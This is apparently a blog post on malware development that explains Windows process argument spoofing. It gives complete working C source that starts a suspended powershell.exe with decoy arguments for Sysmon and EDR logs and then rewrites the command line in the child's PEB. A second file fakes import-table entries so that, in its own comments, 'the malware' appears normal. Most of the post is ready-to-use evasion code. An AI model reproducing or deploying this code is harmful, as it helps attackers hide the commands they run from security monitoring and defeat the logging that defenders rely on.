Post

ProcessArgumentSpoofing

ProcessArgumentSpoofing

What is it?

Creates a process with fake visible arguments that get logged by EDRs and Sysmon, then overwrites the real command line inside the child process’s PEB before it executes. Whatever gets recorded at process creation time is the fake args; whatever the process actually reads from GetCommandLine() is the real args.

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Defined:
  STARTUP_ARGS = L"powershell.exe N0xshell"     ← what EDR/Sysmon logs
  REAL_ARGS    = L"powershell.exe -c notepad.exe" ← what actually runs


PatchArguments(STARTUP_ARGS, REAL_ARGS, ...):

Step 1: Spawn with fake args, suspended + hidden
  lstrcpyW(szProcess, szStartupArgs)
  CreateProcessW(NULL, szProcess,    ← "powershell.exe N0xshell"
    ...,
    CREATE_SUSPENDED | CREATE_NO_WINDOW,
    NULL, L"c:\\ProgramData\\",
    &Si, &Pi)
  → Sysmon Event ID 1 logs: "powershell.exe N0xshell"
  → Process is frozen before any code runs


Step 2: Get PEB address of child
  pNtQueryInformationProcess = GetProcAddress(NTDLL, "NtQueryInformationProcess")
  pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, ...)
  → PBI.PebBaseAddress = address of child's PEB in its own address space


Step 3: Read child's PEB
  ReadProcessMemory(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))
  → Local copy of the child's PEB struct


Step 4: Read ProcessParameters
  ReadProcessMemory(Pi.hProcess, pPeb->ProcessParameters,
    &pParms,
    sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)  ← extra 0xFF to ensure CommandLine.Buffer is included
  → pParms->CommandLine.Buffer = pointer to command line string IN CHILD'S address space


Step 5: Overwrite command line
  WriteProcessMemory(Pi.hProcess,
    (PVOID)pParms->CommandLine.Buffer,  ← where the string lives in child
    (PVOID)REAL_ARGS,                   ← "powershell.exe -c notepad.exe"
    (lstrlenW(REAL_ARGS) + 1) * sizeof(WCHAR))
  → The command line string in child's memory is now the real args


Step 6: Resume
  HeapFree(pPeb); HeapFree(pParms)  ← clean up local copies
  ResumeThread(Pi.hThread)
  → Child reads its PEB → ProcessParameters → CommandLine.Buffer
  → Gets: "powershell.exe -c notepad.exe"
  → Executes: notepad.exe

What gets logged vs what runs:
  Sysmon/EDR log: "powershell.exe N0xshell"    ← fake
  Actually runs:  "powershell.exe -c notepad.exe" ← real

The ReadRemoteProcess helper allocates a local buffer and ReadProcessMemory into it — the addresses in pPeb->ProcessParameters and pParms->CommandLine.Buffer are remote virtual addresses, not local pointers. You read the struct to learn the remote address, then write to that remote address directly.

Reading sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF extra bytes is a safety margin — CommandLine.Buffer is a pointer embedded inside RTL_USER_PROCESS_PARAMETERS, and depending on the exact struct layout and Windows version, reading just sizeof() might truncate before reaching that field. The extra bytes ensure pParms->CommandLine.Buffer is always accessible in the locally-read buffer.

iat-camoflage.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*
	- Its important to make the malware appear to be normal so to instead hiding WinAPI's, its more effective to create fake imported functions.
	- This can be done by calling the WinAPI with NULL parameters.
*/

#include <Windows.h>
#include <stdio.h>

// Generate a compile-time-derived seed based on __TIME__
int RandomCompileTimeSeed(void)
{
	return '0' * -40271 +
		__TIME__[7] * 1 +			// seconds ones
		__TIME__[6] * 10 +			// seconds tens
		__TIME__[4] * 60 +			// minutes ones
		__TIME__[3] * 600 +			// minutes tens
		__TIME__[1] * 3600 +		// hours ones
		__TIME__[0] * 36000;		// hours tens
}

// Dummy helper intended to discourage compiler optimization.
PVOID HelperFunc(_Out_ PVOID* ppAddr) {
	PVOID pAddr = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF);
	
	if (!pAddr)
		return NULL;

	// Store a compile-time-derived value (0-254) in the buffer
	*(int*)pAddr = RandomCompileTimeSeed() % 0xFF;

	// Return the allocated address to the caller
	*ppAddr = pAddr;

	return pAddr;

}

// Fill important the fake WinAPI to cameflage the IAT
VOID IATCamo() {
	PVOID pAddr = NULL;
	
	int* a = (int*)HelperFunc(&pAddr);

	// The generated value is always in the range [0, 254], making this condition impossible
	if (*a > 350) {
		unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL);
		i = GetLastError();
		i = RegisterClassW(NULL);
		i = IsWindowVisible(NULL);
		i = ConvertDefaultLocale(NULL);
		i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
		i = IsDialogMessageW(NULL, NULL);
	}

	// Cleaning up
	HeapFree(GetProcessHeap(), 0, pAddr);
}

int main(void) {
	IATCamo();

	return 0;
}

ProcArgSpoofing.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include <stdio.h>
#include "structs.h"

#pragma warning (disable:4996)

#define STARTUP_ARGS L"powershell.exe N0xshell"
#define REAL_ARGS L"powershell.exe -c notepad.exe"


/*
	Reads data from remote (target process)
		hProcess -> Handle to remote process
		pAddress -> Pointer to memory address of remote process to read from
		ppReadBuffer -> Pointer to memory locatation
		dwBufferSize -> DWORD holds size of the remote process
*/
BOOL ReadRemoteProcess(_In_ HANDLE hProcess, _In_ PVOID pAddress, _Out_ PVOID* ppReadBuffer, _In_ DWORD dwBufferSize) {
	
	SIZE_T sNumberOfBytesRead = 0;

	*ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);

	if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNumberOfBytesRead) || sNumberOfBytesRead != dwBufferSize) {
		printf("[!] ReadProcessMemory Failed %d \n", GetLastError());
		printf("[!] Bytes Read: %d of %d \n", sNumberOfBytesRead, dwBufferSize);
		return FALSE;
	}
	return TRUE;
}

BOOL WriteRemoteProcess(_In_ HANDLE hProcess, _In_ PVOID pAddress, _In_ PVOID pBuffer, _In_ DWORD dwBufferSize) {
	
	SIZE_T sNumbersBytesWritten = 0;

	if (!WriteProcessMemory(hProcess, pAddress, pBuffer, dwBufferSize, &sNumbersBytesWritten) || sNumbersBytesWritten != dwBufferSize) {
		printf("[!] WriteProcessMemory Failed %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}

BOOL PatchArguments(_In_ LPWSTR szStartupArgs, _In_ LPWSTR szMaliciousArgs, _Out_ DWORD* dwProcID, _Out_ HANDLE* hProcess, _Out_ HANDLE* hThread) {

	NTSTATUS						STATUS = NULL;
	WCHAR							szProcess[MAX_PATH];
	STARTUPINFOW					Si = { 0 };
	PROCESS_INFORMATION				Pi = { 0 };

	PROCESS_BASIC_INFORMATION		PBI = { 0 };
	ULONG							uRetern = NULL;
	PPEB							pPeb = NULL;
	PRTL_USER_PROCESS_PARAMETERS	pParms = NULL;

	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFOW));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	Si.cb = sizeof(STARTUPINFOW);


	// Function pointer, telling the compiler where the address of the function begins
	fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtQueryInformationProcess");
	if (pNtQueryInformationProcess == NULL)
		return FALSE;

	// Copy StarupArgs into szProcess
	lstrcpyW(szProcess, szStartupArgs);

	wprintf(L"[+] Running: \"%s\"  \n", szProcess);

	// Creating suspended process with our arguments
	if (!CreateProcessW(NULL, szProcess, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, L"c:\\ProgramData\\", &Si, &Pi)) {
		printf("[!] CreateProcessW Failed %d \n", GetLastError());
		return FALSE;
	}
	else
		printf("[+] Successfully Created Process With PID: %d \n", Pi.dwProcessId);

	// Getting the `PROCESS_BASIC_INFORMATION` structure of the remote process (that contains the peb address)
	if ((STATUS = pNtQueryInformationProcess(Pi.hProcess, ProcessBasicInformation, &PBI, sizeof(PROCESS_BASIC_INFORMATION), &uRetern)) != 0) {
		printf("\t[!] NtQueryInformationProcess Failed 0x%0.8X \n", STATUS);
		return FALSE;
	}

	// Reading the `peb` structure from its base address in the remote process
	if (!ReadRemoteProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))) {
		printf("[!] Failed To Read Target's Process Peb \n");
		return FALSE;
	}

	// Reading the `ProcessParameters` structure from the peb of the remote process
	// We read extra `0xFF` bytes to insure we have reached the CommandLine.Buffer pointer
	if (!ReadRemoteProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0xFF)) {
		printf("[!] Failed To Read Target's Process ProcessParameters \n");
		return FALSE;
	}

	// Update cmdline with our command
	wprintf(L"[+] Writing \"%s\" As Process Argument At 0x%p \n", szMaliciousArgs, pParms->CommandLine.Buffer);

	/*
		Pi.Process -> Handle to target process
		pParms->CommandLine.Buffer -> Points to RTL_USER_PROCESS_PARAMETERS inside target process, copies over are intended command into remote process
		szMaliciousArgs -> our command
		lstrlenW -> determines how much bytes we copy (+ 1, add extra byte (null byte))
	*/
	if (!WriteRemoteProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szMaliciousArgs, (DWORD)(lstrlenW(szMaliciousArgs) + 1) * sizeof(WCHAR))) {
		printf("[!] WriteRemoteProcess Failed \n");
		return FALSE;
	}

	// Clean up heap (prevents memory leak)
	HeapFree(GetProcessHeap(), 0, pPeb);
	HeapFree(GetProcessHeap(), 0, pParms);

	// Resume suspended thread
	ResumeThread(Pi.hThread);

	// Dereference output parameters
	*dwProcID = Pi.dwProcessId;
	*hProcess = Pi.hProcess;
	*hThread = Pi.hThread;

	if (*dwProcID != 0 && *hProcess != NULL && *hThread != NULL)
		return TRUE;

	return FALSE;

}

int main() {
	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
	DWORD dwProcID = NULL;

	wprintf(L"[+] Target Process  Will Be Created With [Startup Arguments] \"%s\" \n", STARTUP_ARGS);
	wprintf(L"[+] The Actual Arguments [Payload Argument] \"%s\" \n", REAL_ARGS);

	if (!PatchArguments(STARTUP_ARGS, REAL_ARGS, &dwProcID, &hProcess, &hThread)) {
		return -1;
	}

	printf("[+] Press <Enter> To Exit! \n");
	getchar();

	CloseHandle(hProcess);
	CloseHandle(hThread);

	return 0;
}

structs.h

1
2
3
4
5
6
7
8
9
10
11
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
    HANDLE,
    PROCESSINFOCLASS,
    PVOID,
    ULONG,
    PULONG
    );

This post is licensed under CC BY 4.0 by the author.